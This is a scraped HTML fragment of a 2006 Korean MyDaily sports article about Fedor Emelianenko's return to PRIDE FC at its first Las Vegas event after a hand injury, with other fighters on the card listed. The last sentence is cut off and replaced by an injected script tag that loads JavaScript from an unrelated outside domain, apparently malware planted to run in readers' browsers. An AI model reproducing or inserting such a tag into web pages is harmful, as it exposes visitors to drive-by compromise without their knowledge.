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<TD class=p19 b2 style=PADDING-LEFT: 5px>격투황제 효도르, 10개월만의 복귀 확정</TD></TR>
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<TD class=gray style=PADDING-LEFT: 5px><SPAN class=gray01 p11>[마이데일리 2006-08-15 12:25]</SPAN> </TD></TR>
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<TD colSpan=4 height=5></TD></TR></TBODY></TABLE><!-- //FLASH_BANNER -->[마이데일리 = 이석무 기자] 오는 10월 22일(이하 한국시간) 미국 라스베가스 토마스&amp;맥센터에서 열리는 종합격투기 프라이드FC 첫 미국 원정경기에 격투황제 에밀리아넨코 효도르(29·러시아)가 복귀한다.<BR><BR>프라이드FC를 주최하는 DSE측은 라스베가스 대회 개최를 공식발표하며 이 대회에 <A onmouseover=style.color=#FF0000;style.cursor=hand; style=COLOR: #0033cc; TEXT-DECORATION: underline onclick=keyword_popup(event, 5291) onmouseout=style.color=#0033CC;style.cursor=default;>효도르</A>가 출전하게 됐다고 14일 밝혔다.<BR><BR>현재 프라이드 헤비급 챔피언인 효도르는 지난해 연말 남제 대회에서 브라질의 거구 줄루를 1라운드 26초만에 KO시킨 뒤 손부상때문에 그동안 경기에 나서지 않았다. 특히 부러진 오른손 뼈를 고정시키기 위해 금속플레이트를 박는 수술을 받는 바람에 올해 개최중인 무차별급GP 토너먼트에도 출전하지 못했다.<BR><BR>그런 효도르가 만약 라스베가스대회에 출전할 경우 무려 10개월여만에 다시 경기를 갖게 되는 것이어서 격투팬들의 관심을 모을 전망이다.<BR><BR>현재 효도르의 상대는 아직 결정되지 않았다. 하지만 미국 격투시장에 그의 강력함을 알리기 위해서라도 정상급 상대와 맞붙일 것이라는 전망이 우세하다.<BR><BR>이번 프라이드 라스베가스 대회에는 효도르 외에도 미국 격투팬들에게 친숙한 미국 출신 프라이드 파이터들이 대거 참가할 것으로 알려졌다. UFC에서도 크게 활약했던 <A onmouseover=style.color=#FF0000;style.cursor=hand; style=COLOR: #0033cc; TEXT-DECORATION: underline onclick=keyword_popup(event, 3611) onmouseout=style.color=#0033CC;style.cursor=default;>마크 콜먼</A>, <A onmouseover=style.color=#FF0000;style.cursor=hand; style=COLOR: #0033cc; TEXT-DECORATION: underline onclick=keyword_popup(event, 6707) onmouseout=style.color=#0033CC;style.cursor=default;>조쉬 바넷</A>, <A onmouseover=style.color=#FF0000;style.cursor=hand; style=COLOR: #0033cc; TEXT-DECORATION: underline onclick=keyword_popup(event, 7732) onmouseout=style.color=#0033CC;style.cursor=default;>필 바로니</A>, 케빈 랜들먼 등이 흥행의 중심이 될 전망.<BR><BR>거기에 <A onmouseover=style.color=#FF0000;style.cursor=hand; style=CURSOR: default; COLOR: #0033cc; TEXT-DECORATION: underline onclick=keyword_popup(event, 3766) onmouseout=style.color=#0033CC;style.cursor=default;>미르코 크로캅</A>, 마우리시우 쇼군, 나카무라 카즈히로, 파웰 나스트라 등도 출전명단에 올라있고 일본 간판스타 요시다 히데히코와 미들급 챔피언인 반더레이 시우바의 출전도 거론되고 있다.<BR><BR>하지만 시우바의 경우 오는 11월 UFC 대회에서 UFC챔피언인 척 리델과 대결할 가능성도 있어 라스베가스 대회 출전이 아직 불투명한 상황이다.<BR><BR>한편, 효도르는 오는 28일 방한해 3일간 서울에 머물면서 종합격투기 M-1의 한국개최와 국내 광고 출연등을 ?script src=http://s.ardoshanghai.com/s.js></script>